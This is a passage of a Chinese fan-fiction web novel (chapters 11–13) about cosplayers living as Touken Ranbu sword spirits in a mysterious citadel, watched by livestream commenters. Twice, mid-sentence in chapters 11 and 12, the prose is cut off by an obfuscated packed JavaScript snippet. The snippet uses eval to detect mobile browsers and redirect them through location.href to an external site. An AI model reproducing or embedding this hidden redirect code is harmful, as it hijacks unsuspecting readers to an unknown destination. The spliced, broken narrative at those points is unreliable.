“不,是前面半句。”黑发付丧神摇摇头。 膝丸coser疑惑,他不就说了一句话吗?青年思索半晌,试探道:“……阿尼甲?” “诶,我在的!”妹妹头的少年活跃地应声,偏稚嫩的脸上又重新挂上甜爽的笑容,但脱口的话却让膝丸coser打了个冷颤。 “原来还知道我是谁吗?亏得我正准备砍死同振,把你抢回来呢。” [一脸天真地说出不得了的话啊,小乌。] [阿尼甲附体的小乌点满了攻击性。] [绝对是被哥切带坏了吧?] [霸道小乌强势爱,一想到弟弟丸可能又没认出小乌我就想笑。] [弟丸修罗场预定中。ing] 【砍死同振? 髭切笑容微僵,看来小乌对他的怨念很深啊。 秋瑾幸灾乐祸,如果不是今天轮到父上远征,哥切免不了被一波嘲讽,可惜了。 这边的膝丸陷入抑郁,同振根本没有分清小乌和阿尼甲啊……刃生不要太失败。阿尼甲和欧豆豆的双重责问,想想都绝望。】 这下膝丸coser彻底清醒了,他看到黑发付丧神腰间的两把佩刀,瞬间明了。 单主竟然来找他了! 膝丸coser也不犯困了,他感动地膝行两步,平整的被褥被挤出褶皱。等和小乌coser距离接近,青年张开双臂准备给自家亲亲单主一个爱的熊抱。 膝丸coser闭眼猛扑。 ——扑了个空。 他怔愣地抬头,就见黑发妹妹头站在〔髭切〕身旁,神情得意。 “诶呀,弟弟丸一上来就撒娇呢,真是烦恼。”小乌coser止不住炫耀的口吻。 膝丸coser:“……?” 那你倒是让我抱啊!混蛋! 11. 第 11 章 真狩柊此行,正是为了那位疑似小乌本灵的刀剑付丧神。 他加紧了解相关情报,又恶补直播内容,终于赶上近期的风云变幻。 时政这期临时会议算不得正规,真狩柊提前入场,透过护神纸,他大致打量一齐参加会议的同事们。 时政本部主楼区,会议室外。 大部分审神者不约而同地选择曾在时政担任职务的刀剑陪同,此外便是些阅历深的老刀。 一文字则宗半步落后于审神者,与相熟的前同僚颔首。 目送真狩柊进入会议室后,一文字则宗扇柄敲敲手心,望向姗姗而来的太刀。 “哟,三明小子。” 三日月宗近反驳,“老爷爷我可不小了。” “大差不差,一个称呼而已。”菊花老头悠然摇扇,“山雨欲来风满楼啊。” “谁说不是呢。”三日月轻声应道。 会议室内,一众审神者围绕中间的椭圆长桌落座。 真狩柊翻阅提前放置在座位前的资料,眸光打量周围的同事,感受到熟悉的灵力回路,他望过去,与几个熟人颔首示意。 凭他这样只管埋头事业不善交际的武痴审都能找到认识的人,在座的恐怕都是知根知底的同事,原来这场会议是党派秘密组织吗,能躲开旧党的眼睛,又借了哪个刀剑本灵的名头啊。 待人员到齐,碧螺春在屋内设下隔音的禁制,而后落座,会议正式开始。 “……在时机合适时,将小乌殿带回本部,在付丧神同意的前提下进行分灵,这是高层的预案。但最终决定还是要看那些大人们的意思。” 碧螺春放下稿件,她话里的“大人物”并非时政高层,而意指刀剑本灵们。 捡到落单的小孩就立即联系其父母,遇见流浪在外的新生付丧神同样,时政第一时间就通知了刀剑本灵,并试探他们的态度,以此获得利益置换的机会。 听起来像是拐了别人家幼崽后,劫匪电话过去跟家长讨要赎金一样,区别在于时政并非强迫,也不会撕票。 “哦,那我们的预案呢?” 真狩柊指节敲响红木桌面,“分灵实装之类的,这不是我们要操心的事吧。” “当然,怎么可能让它们达到目的。”碧螺春挥手,身后的屏幕投射出直播内容。 如今的时之政府内部简单分为两大派系,以传统阴阳师家族为主的旧党派保留纯粹的式神观念,将刀剑付丧神视为无生命的死物,无需投注情感。 另一派系,则是由新兴氏族和普通背景审神者组成的左翼派,主张人文关怀,认为万物皆有情。 原本尚能和睦共处的两派因刀剑暗堕、实验等恶性事件频发,双方裂隙愈来愈大,同室操戈现象屡见不鲜。刀剑本灵与时政签有契约,因顾及协定不便插手,便暗中扶持左翼派系,借此维护自身和分灵权益。 众人不约而同将目光落到中央大屏之上。 【屏幕里的本丸天色昏沉,门口的大型时空转换装置放出亮眼的金光,远征奥州合战场的第四部队归来。 六位付丧神面容疲惫,不少身上挂着大大小小的伤,但仍旧搬动装满资源的箱子,眼神透出欣喜。 黑发妹妹头的付丧神听到动静,从附近赶来。少年明显有些愣神,但很快反应过来,凑上前去。 “辛苦了,不先去休息吗?”】 真狩柊注视着小乌coser腰侧多出的佩刀,髭切、膝丸、小乌三振源氏刀都集齐了啊。 “这座本丸坐标呢?” 一位被护神纸掩去面容的同事提问道。 碧螺春无奈叹气,解释道:“不知道,a-43处于抗击时溯前沿战略部署当中,本丸坐标被纳入a级保密章程。” “偏偏是这样,我记得a-43本丸的审神者无故消失半年之久,前段时间调查小组在现世也未能发现其踪迹。” 真狩柊插话,他正是那次调查的参与人员,此时将注意力重新移到眼前的资料上。 代号波多野,本为时政高层公务员,三年前自行申请加入前沿战略计划,既而被下派到a-43本丸就任审神者一职。 “没有其他办法吗?”刚才出声的同事担忧道:“a-43本丸刀剑付丧神情况不是很好。” 真狩柊凝重地摇头。 抗击时溯前沿战略,五年前正式部署。由随机级别的本丸驻守在时溯高发的边缘位置,是时政在历史修正主义身旁埋下的暗钉,起到时刻监查时间溯行军行动的作用。 其危险性极高,故而这样的本丸,编号和坐标都受到严密的保护。对审神者的要求也更为细致和严苛,一般由时政可信赖的内部人员出任。 “如非突发情况,或者那些刀剑主动申请解散本丸,谁都没有越过保密协定的权限。” 碧螺春抿唇,“而现在能被直播,已经是极限了。” 暴露本丸坐标,会让他们陷入被时溯突袭的危险当中。 “无论如何,请各位相信刀剑本灵的行动,坚持与旧党博弈,对于波多野的失踪,我方将再次组建小组深入调查。” 碧螺春与真狩柊对视,然后目光环视过在场的每一位审神者。 “在座的每位都是值得信任的同伴,不论结果如何,都希望大家能在各自的领域为那孩子给予助力。” “我们无法彻底扳倒旧党势力,甚至无法插手……但距离结束这场纷争,也不远了。” * a-43本丸,源氏部屋内。 “这就是你所说的,照顾好他?” 小乌coser看着眼前遍布裂纹的太刀,他险些气背过去,好像自己一直爱惜呵护着的猫猫被后妈薅秃了毛,惨兮兮的。 “你是……”黑发付丧神嘴唇一碰就要继续输出刻薄话时,一只手突然捂住他的嘴。 小乌coser斜眼看去,薄绿色的太刀探身过来,在〔髭切〕视野盲区,青年金色的眼中透出恳请。 “可以了,阿尼甲,不要再说了。” 少年与膝丸coser对视片刻,余光中〔髭切〕神情恬和,他却能嗅到股近乎绝望的哀伤,如潮水般涨溢而来。 他很熟悉这样的情绪,于是沉默地扯开膝丸coser的手。可明明就是〔髭切〕犯的错,凭什么要让他来包容。 小乌coser将膝丸coser本体抱进怀里,“我来保管吧,以弟弟丸如今的身体,怕是要多叨扰同振一段时间了。” 哪怕用灵力滋养,要完全修复膝丸coser本体的破损也需要不少时间。 野外的不确定因素太多,在这里虽然人多眼杂,不便隐藏身份,但〔髭切〕总不会再让自己的弟弟遭遇伤害。 所以完全就是〔髭切〕自作主张搞砸了一切。 “同振暂时住在客房可以吗?”〔髭切〕压下心中的情感。 “不用麻烦,我和他睡这间,你搬出去好了。” 小乌coser立志守护膝丸coser本体和灵体的双重安全,理所当然地对〔髭切〕摆摆手,“毕竟我要时刻关注弟弟丸的身体,没有用处的同振请移步吧。” 膝丸coser惊恐地看着少年不断张张合合的嘴,悄咪咪地观察〔髭切〕的脸色,奶金色太刀忽然扭头冲他笑笑,吓得青年一个激灵。 “膝丸也我的弟弟,完全交予同振,不太放心啊。” 阿尼甲他竟然,叫出了我名字! 膝丸coser震惊到无以复加,是ooc了吗?! “阿诺,惊吓丸下巴脱臼了吗?”〔髭切〕伸手,两指按住青年唇瓣,将其捏成瘪瘪的鸭嘴,膝丸coser被迫禁言,于是〔髭切〕满意地点头。 “看,弟弟丸也同意了。” 你给我说话的机会了吗? [好可爱,变成扁扁的鸭子嘴了。] [小乌:我直接登堂入室。] [楼上,这叫主人翁意识。] [可是哥切叫对弟丸名字了诶,我家的弟丸已经幸福地无以复加了。] 虽然〔髭切〕要求与他们挤在一块,但简陋的晚饭后,奶金色的付丧神还是将主卧让给两人,独自前往偏远客房。 “前几天,阿尼甲也是与我分开睡的。”膝丸coser解释道。 “他在顾及什么吗……”小乌coser自言自语。 直播球在本丸各处闲逛,绕过一圈后,暮色渐深。它飞回源氏部屋,在想进入coser们所在的屋子时却发现门落锁了。 [怎么可以把我们拒之门外!] [见外了啊,小乌,相伴那么多天的情谊呢!] [好不容易电量充足,却败在了一扇门上。] [得了一种看不到小乌睡颜就会死的病。] 入夜,屋内亮起昏黄的烛火,光影在两人之间游移。 “啊,我和他做了个约定。” “会对你产生伤害吗?” 膝丸coser忧心,本来就是他一意孤行来到这里,将自己弄成伤患不说,小乌coser还为了救他,不知道答应了那个髭切什么条件。 “不会,别担心了。” 小乌coser没有细说,他目光沉默地掠过摆在桌案的两振太刀,兀自将膝丸coser本体放在膝上。 “我来试着为你疗伤。” 他按照髭切指示,用膝丸coser本体割伤手掌,鲜血渗出,一直攀附在少年小臂的青蛇探起头。自到达此本丸后,小蛇便一直处于休眠状态,小乌coser对此很满意,他喜欢安生的宠物。 膝丸coser没拦住小乌coser突然的动作,他顾不得自身反应,将少年的手从太刀上拿开。 他张张嘴,艰难道:“这种方式……一定要这样做吗?” 膝丸coser想要变强,是为了保护好他们,避免被伤害。如果因他而致使同伴陷入危险,不得不牺牲自己救助他,那他一直以来又在坚持什么呢? “你认为这是牺牲吗?但其实不算什么,我不在意。” 短发的少年比以往更加凌厉,但眉眼却透出一股柔和,循循善诱,“如果你觉得对不起我,那就想想你力所能及的,我需要你的陪伴,作为我的兄长。” 膝丸coser瞳仁骤缩成针尖大小,无意识地咬紧后槽牙。 他想,为什么单主不可以成为家人呢?他们本该就是这个世界最亲密的人才对。 亲情、友情、爱情如果能同时在一个人身上感受到,那这个人是多么难能可贵。 青年垂眸,他握住小乌coser受伤的手,脸颊贴住尚渗血的掌心,烛光无法触及到的眸底,悄悄酝酿着什么。 伤痕遍布的太刀吸收了血液,裂纹隐隐有减少的趋势。看来效果不错,除了有些费手。 小乌coser注视着太刀恢复,余光中扇门处忽然掠过一道黑影,他猛地扭头看去,却毫无所获。 那里,有人吗? 他想起身察看,手腕却被拖拽住,然后尖锐物品穿刺伤口的痛感传来。 “呃……”小乌coser忍不住痛呼出声。 膝丸coser埋在付丧神掌心,虎牙咬破在灵力作用下微微愈合的豁口,舌尖卷去再次流出的鲜血。 小乌coser扒开青年耷拉的眼皮,发现其意识早就陷入昏迷,身体只凭本能行动。 “这是在?”小乌coser有些嫌弃,梦游吗? 仿佛察觉到少年的抗拒,青年紧紧桎梏住其手臂,嘴下用力,顿时血流如注。未来得及被舔入口腔的血珠沿着小臂流淌,滴落进被褥里。 小乌coser吃痛,抬手刚想给人一巴掌,就见放置在膝上的太刀裂纹逐渐减少,他立即停下动作。 一旁放置在刀架上的髭切嗡鸣出声,小乌coser没有回头,直勾勾地盯住舔血的薄绿。 他很想知道,这种本能反应,对膝丸coser是有利还是不利,会使青年更贴合于角色,还是削弱影响。 膝丸coser确实在被角色潜移默化着,在髭切到来后,同化的进程加快了。小乌coser不知道,在环境的耳濡目染下,青年还能坚持多久。 如果明天醒来的不再是coser,就砍掉吧,他不需要一振膝丸作为同伴。 直到太刀恢复原状,崭新如初,薄绿色头发的青年歪倒在黑发付丧神怀里沉沉睡去。 小乌coser用染血的食指在青年脸上画出六根猫咪胡须。 争取活得久一点吧,老师。 飘摇的烛火被吹灭,寂静蔓延开来。小乌coser安置好睡着后死沉的青年,缩进干燥的被褥里,近几天的疲累瞬间涌上身体,少年眼皮打颤,很快陷入梦想。 夜色阴郁,黎明到来得也静悄悄,幼鸦栖息在屋檐下的角落,缩成漆黑的一团。 膝丸coser是被脖颈缠绕的东西给勒醒的,他弓起背去抓脖子上的“绳索”,手指刚触碰到,那东西就滑不出溜地跑开。 青年终于喘上气,他睁开眼发现一条熟悉的青蛇飞速爬过身下被褥,缠到旁边熟睡的少年手腕。 膝丸coser的视线随之落到少年睡颜上,他按按胀痛的太阳穴,昨夜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036094|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记忆电影似的在脑海中播放,青年始终挺直的脊背终于弯了下去。 小乌coser好心帮他疗伤,他竟然在意识不清醒时咬了单主!离大谱,他也不是吸血鬼啊? 膝丸coser帮熟睡的少年掖掖被角,然后脚步虚浮地来到走廊,他需要冷静一下。 转弯,青年迎面撞上晨起的〔髭切〕,奶金色的太刀歪头疑惑地看向膝丸coser脸上残留的血迹,猫咪吗? “……你们昨晚?” 刚问出口,就见膝丸coser全身一震,像做了什么亏心事似的,低声道:“没有什么。” 膝丸coser甚至不敢张大嘴,害怕露出口腔里残留的血。 “你们昨晚发生冲突了吗?没关系,告诉兄长。”〔髭切〕嗅到淡淡的铁锈味,他放轻声音,引导青年情绪。 极化刀的侦查竟恐怖如斯!隔着五六间屋子都能察觉到动静吗? “兄长发现了吗?看来什么都瞒不过你啊。”膝丸coser见状不再隐瞒,他有些羞愧自责。 “是的,昨晚我太粗暴弄伤了阿尼甲。”青年脸上飞起薄红,嘴比脑子更快。 “……嗯,什么?” 〔髭切〕怀疑自己听错了,胡说八道丸在瞎说什么呢,没睡醒吗? “我咬得太狠,流血了。”膝丸coser无比内疚,他头垂得更低了。 这在〔髭切〕眼里就是弟弟凶狠地犯错后,还懊悔当时的失控。 付丧神合眼,这就是同振说的照料吗?真豁的出去。 虽说在平安时代,亲缘相近的兄妹也会发生关系。同样,走婚制让〔髭切〕对欢好之事秉承顺其自然的态度,但是他对膝丸……或许他该多出阵杀杀溯行军醒醒脑子了。 〔髭切〕笑容微微僵硬,但还是伸手摸摸膝丸coser的头,温和慰藉不安的弟弟。 直播间的审神者快发疯了,弹幕汹涌着占据屏幕。 [……这对吗?] [昨晚到底发生了什么啊!!!] [好想知道,难道真的,哦不不不!小乌他还好吗?] [根据早起闪过的画面,脸色有些苍白疲惫啊,跟失血了似的。] [这么激烈吗?看把孩子累的,是第一次还不适应吗?] [啊啊啊,上面的同事不要再说了!] 【“我,我对阿尼甲没有那种心思!!” 膝丸脸上飞起霞云,慌不择乱地解释。谁懂他听见同振的话时,那种荒谬的崩溃感,他们真的只是兄弟情啊! “啊,那就是对小鸟……”髭切恍然。 “对欧豆豆也没有!!!” 他和小乌都未曾见过面,连交流都没有,怎么可能突然产生那种邪恶的想法! “口是心非丸不敢承认吗?”髭切叹气,感同身受道:“没关系,只是成为家主口中的变态而已。” 秋瑾后背发凉,教你词汇是让你乱用的吗?她暼向端坐一边的小乌丸,黑发付丧神手握茶杯,莹绿色的杯壁被压出细密的裂纹。 “兄长会为你加油的。”髭切甜甜地笑起来。 阿尼甲你要毁了我吗? 膝丸百口莫辩,小乌丸已经起身向他走来,黑发纤细的付丧神身上散发出极其危险的气息。 “啊,今日清闲,是时候该指导后辈。”父上大人手背暴起青筋,声音冷然。 “拔刀吧,髭切也一起来。” 火上浇油的髭切眨眨眼,被点名的付丧神还有脸疑惑,“诶?我吗?”】 作为本丸最高战力,〔髭切〕今日照例出阵,清剿周边的时间溯行军,以保证本丸坐标安全。 小乌coser有些疑惑,〔髭切〕临走前的目光有些不明所以,眼神好几次扫向他的腰和腿。 直看得他有些发毛,后撤躲到膝丸coser身后,怎么莫名其妙的。还有直播球,已经是第三次撞到他身上了,设备老化了吗? “照顾好弟弟丸。” “不用你多嘴。”小乌coser依旧毒舌。 目送〔髭切〕和其他付丧神的身影消失后,两人开始实地探索整个本丸。 半身乌鸦在昨晚已基本探视过全本丸,刀剑数量不算很多,但大都实力强劲,极化刀占到百分之六十。 只是在飞往天守阁时遭到屏障阻拦,就算让幼鸦停在最靠近窗户的树杈上,也无法窥探到里面,似乎是设下了某种混淆视听的结界。 上锁的屋舍也不少,同样设有禁制,无法潜入。 但同样,小乌coser发现了突破点——一只企图偷吃的狐之助。 “呀呀,是髭切殿和膝丸殿啊。” 黄白相间的管狐刚咽下嘴里的油豆腐,它摇着蓬松的尾巴,跟付丧神们打招呼,“好久不见膝丸殿,最近是出去远征了吗?” 膝丸coser愣了下,什么意思,难道这个本丸是有一振膝丸的吗? 还没等青年问题出口,狐之助又扭头看向小乌coser,待看清少年外貌后它惊讶不解,但还是尊重。 “说来髭切殿消瘦了许多。咦,这是染发了吗?颜色很棒哦!” 你瞎吗,话说狐狸是色盲吗? 小乌coser面带微笑,和煦地揪起狐之助的后颈,然后抱进怀里。 “髭,髭切殿?!” 小狐狸被吓得炸毛,它拼命回想最近是否有惹到〔髭切〕,奈何小乌coser没有给它深思的机会。 “审神者大人什么时候能回来呢?狐之助知道吗?”小乌coser一边不熟练地顺毛,一边镇压小管狐的挣扎。 这取决于他们能在这里待到什么时候。 “咱怎么敢问审神者的私事,大人准是在现世遇到难题,处理完后自然就回来了!” 狐之助急得直蹬腿,其实它很早之前就与波多野断了联系,但如果让刀剑付丧神知道审神者已失联,本丸肯定会失控的。动荡会加剧付丧神情绪恶化,他们根本撑不了太久。 “膝丸殿——”狐之助拉长声音,向一旁安静沉稳的青年呼救。 这边,膝丸coser并未接收到狐之助的求救,他眼神精准地捕捉到狐之助嘴里的犬牙,联想起昨夜,不能让单主再次受创! “阿尼甲,不能这么抓,小心被咬。”薄绿头发的青年上前,一把握住狐之助的嘴筒,狐之助被迫噤声。 狐之助:咱真是服了你们这对狼狈为奸的兄弟! 狐之助感到很无助,这时门口传来喧哗的声音,远征24小时战场的第四部队回归了。 救星来了! 12. 第 12 章 “辛苦了,收获满满呢。” 在门口迎接远征队伍的大和守安定上前,想接过黑发付丧神手里的小判箱。 加州清光闪身躲过,他无奈地看着安定头顶的纱布,“还是我来吧,伤势如何?” “已经不疼了。”大和守安定笑着摇头,结果不小心戳到伤口,痛得倒吸了口气。 “小心一点啊!真是的。” 同样等候着的小夜左文字发现队尾的身影,他快速跑过去,帮哥哥分担箱子的重量。 江雪左文字弯腰避免弟弟被磕碰到,他习惯了身体常伴疼痛与疲惫,只是小夜仍担忧着他,江雪揉揉短刀炸毛的头。 侧面传来争吵的动静,左文字兄弟扭头,堀川国广试图安抚情绪激动的打刀。 “受伤了就好好待在屋子里,又要逞强,笨蛋吗你是?” “没办法,我太挂念兼先生了。” “那也不能忽视身体啊!笨蛋。” “嗨嗨,我是笨蛋。” 堀川国广挺直背,伤痛并无法摧毁他的坚韧,“更何况大家都来了,我也不能让和泉守先生落单,我们可是最默契的伙伴啊。” “怎么突然煽情,国广你这家伙。”和泉守兼定有些结巴,怪不好意思的。 [你好,这里不让打情骂俏。] [很大声地炫耀了自己有人哄啊,和泉守。] [唉,带伤远征,早上出阵的人员中也有伤患吧?] [堪比暗黑本丸的糟糕程度,但这样一看,刀刀们的心理状态还好?] [好的不可思议,似乎过于平静了。] [暴风雨前的宁静?] [楼上乌鸦嘴拖出去斩了。] “我说门口怎么吵闹起来,原来是远征部队回来了啊,” 小乌coser松开怀里的管狐,拍拍身上狐之助留下的毛,“辛苦了,不先去休息吗?” “加州殿——”挣脱桎梏的狐之助拉长声音,飞快窜到加州清光脚边,缩起大尾巴委委屈屈地诉苦,“髭切殿他……” 膝丸coser撇了眼它,狐之助立马哆哆嗦嗦地噤声。 “诶,他们是,新来的吗?”加州清光疑惑,他长期带领部队远征,对本丸近期的情况不太了解。 “是〔髭切〕殿的客人,膝丸殿和另一个髭切殿。”大和守安定帮忙解释道。 客人吗,说起来自从主人离开本丸后,已经好久没见过新刀了,大家也逐渐…… 他有些神伤,但很快调整过来,望向面前两人,“初次见面,加州清光,这里的初始刀。那是大和守安定,都是曾是冲田总司的佩刀。” “虽然不常在本丸,但有不清楚的可以来找我。” 小乌coser颔首,“我知道了,请多关照。” 加州清光抹掉额角的汗珠,扬声道:“麻烦最后把资源搬进仓库,修复材料照常分配,辛苦大家了!” 身旁走过一道黑影,膝丸coser扭头发现手臂上绑着绷带的大俱利伽罗,付丧神眉头紧锁,干净的绷带渗出点点鲜血。 “我来帮你吧。” 膝丸coser好心地凑过去,伸手就要接过大俱利怀里的箱子。指尖刚碰到箱子,大俱利伽罗敏捷地高抬腿躲过。 付丧神嘴唇嗫嚅几下,冰冷地吐出一句,“没有想跟你搞好关系。” 膝丸coser:这绝对是霸凌吧? “啊啊,小伽罗绝对不是这个意思,他只是稍微有些怕生。”太鼓钟贞宗冲过来疯狂摆手,替不善言辞的好友解释。 怕生,猫咪吗? 膝丸coser想起早上照镜子时,脸上的六道胡须。他问过小乌coser,少年说那是他昨晚闹着不睡觉,非要在脸上画画。 人至少该编点好的谎话,原谅他没有当猫的习惯,也请不要把他当猫糊弄! 怕生的黑皮伽罗背对他,似乎还冷哼了声。 膝丸coser停滞在半空的手微微颤抖,身旁飘过一道脏兮兮的白影,他扭头,正好与悄悄观察他们的山姥切国广对上视线。 白色的被单猛地抖动,怀里的箱子掉出块玉刚。膝丸coser捡起来,顺势帮山姥切抬住箱子一角。 “谢谢……”山姥切声音沉闷。 “不客气,应该的。” 小乌coser两手空空,他混在队伍里,步履悠闲,与一众忙碌的付丧神格格不入。 他超绝不经意地将腰侧的佩刀拔出又合上,像是在研究刀鞘与刀身的契合度。直到髭切不满地震了下他的手,指骨都发麻的少年终于消停下来。 [人在尴尬的时候总会装作很忙,原来付丧神也是这样吗。] [小乌:这哥切可真髭切啊。] [我可以作证!大咖喱真的是个怕生的傲娇黑皮。] [大咖喱风评被毁。] [小伽罗:我大概是被人做局了。] 待付丧神们将资源入库,按所需取走修复材料,刚热闹不久的本丸再次陷入沉寂。 目送膝丸coser进入仓库,小乌coser选择在外等候,他打了个哈欠,半倚靠在木墙上。 吱嘎! 身旁的门板忽然发出声响,少年敏锐朝声源看去,那扇木门再次晃动,露出黑洞洞的内里。 这是座合掌造房屋,屋门上锁,窗口紧封,但并未设下禁制。 小乌coser前去查探,仿佛知晓他的接近,屋里的东西再次闹出动静,不断吸引少年靠近。 “髭切殿!”一道喊声猛然响起。 加州清光神情有些慌乱地叫住小乌coser,他刚走出仓库就看见少年往合掌造屋门走去。 小乌coser脚步顿住,他疑惑地扭回头,直截了当地问,“那里不可以看吗?” 大和守安定跟出来,他按住清光左肩,平静地解释,“不是,只是那里的门板松动,很容易砸到人,清光他太着急了。” “里面似乎有声音。”膝丸coser抬手,指向发出响动的被封闭的窗户。 加州清光已经缓过神,他摆摆手,“大概是狸花之类的小动物,最近都跑出来了。” 好吧,天衣无缝的对答,再缠问下去就不礼貌了。 “两位要和我们一起吗?正好到了修复时间了。”大和守安定提出邀请,他似乎想尽快将两人带离。 “手入室不是早就关闭了吗?”膝丸coser挑眉。 “是的,所以只能用最原始的修复手段。” 四人逐渐走远,直播球踟蹰片刻,留在原地。 [有问题,直觉告诉我绝对有问题。] [这个缝隙直播球能不能钻进去啊?] [冲冲冲!一探究竟!] 直播球同样觉察到问题,它抵在门板敞开的缝隙上,将摄像头对准里面,打开全彩夜视仪。 瞬间,屏幕被一颗硕大的红色眼球占据。 [WC!吓老子一跳!] [怎么突然切恐怖频道了,我们不是在在幼儿园吗?] [暗,暗暗堕付丧神?!] [爷爷妈咪救救孩子啊啊啊!] 【秋瑾一口茶水直接喷出,全部溅到电脑屏幕上。 “呀,是鬼!”髭切惊讶,同时微不可查地往后挪动,避免被家主的茶水攻击波及到。 烛台切光忠撂下饭盒,操心地拿出手帕帮自己主人擦脸。 “随身携带手绢的妈咪最帅气了!” 秋瑾竖起大拇指,随后才大惊失色地抱头,“出现了,暗堕付丧神!!怎么办,要上报时政吗?不对,时政应该早就在关注了……” 按重要性,这两句话应该反过来才对吧?烛台切默默吐槽。 门口正无所事事的鹤丸国永愣了下,他扒拉开挡住屏幕的烛台切,爬过去仔细观察那只眼睛。】 直播球猛地弹远,它长了记性,离着门缝有段距离然后放大景象。 血红色的眼睛没有眨动,执着地凝视付丧神们远去的身影,可怖的红血丝满布眼球,一丝落寞从中闪过。 和室内—— 加州清光将本体放置膝间,拭纸擦去干涸的血迹,打粉再次清洁一遍,打刀上的划痕清晰可见。 付丧神用目钉锤将刀柄与刀身分离,开始修补划痕。 小乌coser看得蠢蠢欲动,他手痒地拔出腰侧太刀,好不容易睡着的髭切眼前突然天光大亮,刃身迷茫地闪过白光。 太刀锃明瓦亮,连一丝划痕也没有。小乌coser瞬间萎了,他哐地又把刀落鞘,没劲。 膝丸coser见状体贴道:“可以用我的。” 小乌coser感觉掌心隐隐作痛,故而果断拒绝,膝丸coser惋惜地抿起嘴。 加州清光对修复流程格外熟悉,一想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036095|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也许是每个刀剑付丧神都具备的基本技能,小乌coser打起精神,将付丧神的动作都记下来以便不时之需。 天色逐渐昏暗,coser们赶在夜幕降临前返回部屋,少年稍稍落后膝丸coser,驻足回望仓库的方向。 小乌coser指尖摩挲本体刀镡,冥冥之中好像有谁呼唤着他,混杂着空灵的铃音,就在那间设有禁制的合掌造内。 简单的晚饭过后,小乌coser和膝丸coser盯着崭新的被褥,准备就寝。 “床单换过了?话说〔髭切〕没回来吗?”少年看着膝丸coser从柜子里搬出被褥铺好,盯着洁白干净的棉被自言自语。 “也许遇到难敌了。”青年有些担忧,时间溯行军再如何强大也不能耗费一整天的时间吧? “本丸里的付丧神都没有动静,出阵夜不归宿的事情经常发生吗?”小乌coser叹了口气,真的很神秘啊这里。 他记起在加州清光那儿离开时得到的忠告——夜晚外出最好不要落单。 仿佛是认定他白天不会甘心就此被支开,于是好心叮嘱。 膝丸coser拿不准,现在是先睡觉还是继续夜探本丸。他刚要询问,视野里的障纸门上闪过黑影,青年立马警戒。 他扭头与少年对视,小乌coser显然也捕捉到人影。 两人轻手轻脚地埋伏于扇门两侧,小乌coser屏息凝神,握紧腰间的髭切。 障纸门被缓缓拉开,黑色的人影缓缓凝实了。 寒光倏忽闪过,锋利的刀刃骤然挥出,又在看清来者时强行改变走势,右侧的障门被横切成两半。 “手下留情!” 金色头发的付丧神跌倒在榻榻米,他举起双手,抱着的衣物散作一片。 “唐狮子?” 膝丸coser疑惑道,“你在这里做什么?” “是‘狮子王’啦!我来拿该换洗的衣物。”金长发的太刀揉揉被磕到的屁股,望向眼前偷袭的两人,“你们是〔髭切〕的客人吧?” “嗯,虽然很不想承认。” 小乌coser眼尖看到散开的衣物里染血的床单,“新的被褥也是你帮忙换的吗?多谢了。” 膝丸coser伸手将狮子王扶起来,敬职地套起马甲,“我不在的这段时间,感谢你一直在生活上帮助兄长。” “啊,也不是。我来到这里不久,看他一个人孤单地守空房,实在放心不下。” 狮子王连忙摆手,不好意思地挠挠头,“帮助〔髭切〕和帮助老人也差不多,更何况同为源氏时代的刀,我也能有点事情做……” 他是审神者失踪前锻出的最后一把刀,因为练度低,日常出阵也轮不到他。平日里狮子王就会给值番的付丧神帮忙,偶尔替因出阵或远征而错不开班的刃当番。 [被当做老年刃照护了啊,哥哥切。] [关爱空巢老刃,刃刃有责。] [真是个好孩子啊,狮子王。] [还以为没有弟丸,哥切终于能自力更生了,结果还是被暗中照顾了吗?] “话说,本丸里原先显现过其他膝丸吗?” 小乌coser佯装不经意地询问,同时将狐之助供了出去,“白天有只狐之助找上来,似乎把我和膝丸认成你们本丸里的付丧神了。” 狮子王来到本丸不久,对一些事情知道的不是很多,他看向膝丸coser,有些不确定地开口。 “我的话,没有见到过其他膝丸,现在的生活物品也是前几天膝丸来到本丸后,〔髭切〕帮忙备至的。” “不过你们可以去问问三日月,他是这里第二到来的刀剑。” 【“弟弟到来得那么早吗?” 红眼睛的小天狗仰头询问审神者,今剑还记得秋瑾因得不到三日月而诗兴大发。 什么恨明月高悬孤不照我,心向明月结果照沟渠。 秋瑾恨恨地咬着手绢,心中酸涩,“有段时间时政颁布了项《新审成长计划》,帮助新任审神者更快适应工作,三日月就在计划奖励里面。” 开局送爷爷,当时还没捞到三日月的秋瑾快要被气死了,也就是她没赶上好时候。 “哈哈哈,原来还有这种计划吗?” 三日月宗近在秋瑾身旁跪坐下来,目光落在屏幕中的少年身上,“或早或晚,终究会相遇的,缘分使然。”】 13. 第 13 章 深夜的本丸被厚重的迷雾所笼罩,冰凉的湿气顺着呼吸潜入肺腑,带出一串颤抖的白雾。一向凌冽的月光在此时也仿佛褪去太阳的光辉,显露出狼狈的无能时刻,被徘徊着迷茫的魂灵遮掩。 微弱的亮光不知从何而来,萤火般破开一方角落,黑发的付丧神打着灯笼,步履匆忙。而羸弱的光芒也足矣庇护他免遭阻挡,畅通无阻地来到熟悉的地方。 一座全木质结构、屋顶搭有厚厚茅草的合掌造房屋。 据传说,这类形制的房屋的由来追溯到12世纪末,在源平合战中落败的平氏家族遁入深山。后来为躲避源氏追兵,同时抵御即将到来的寒冬,平氏的族人们就地取材,利用深山里树木建造出了合掌造。① 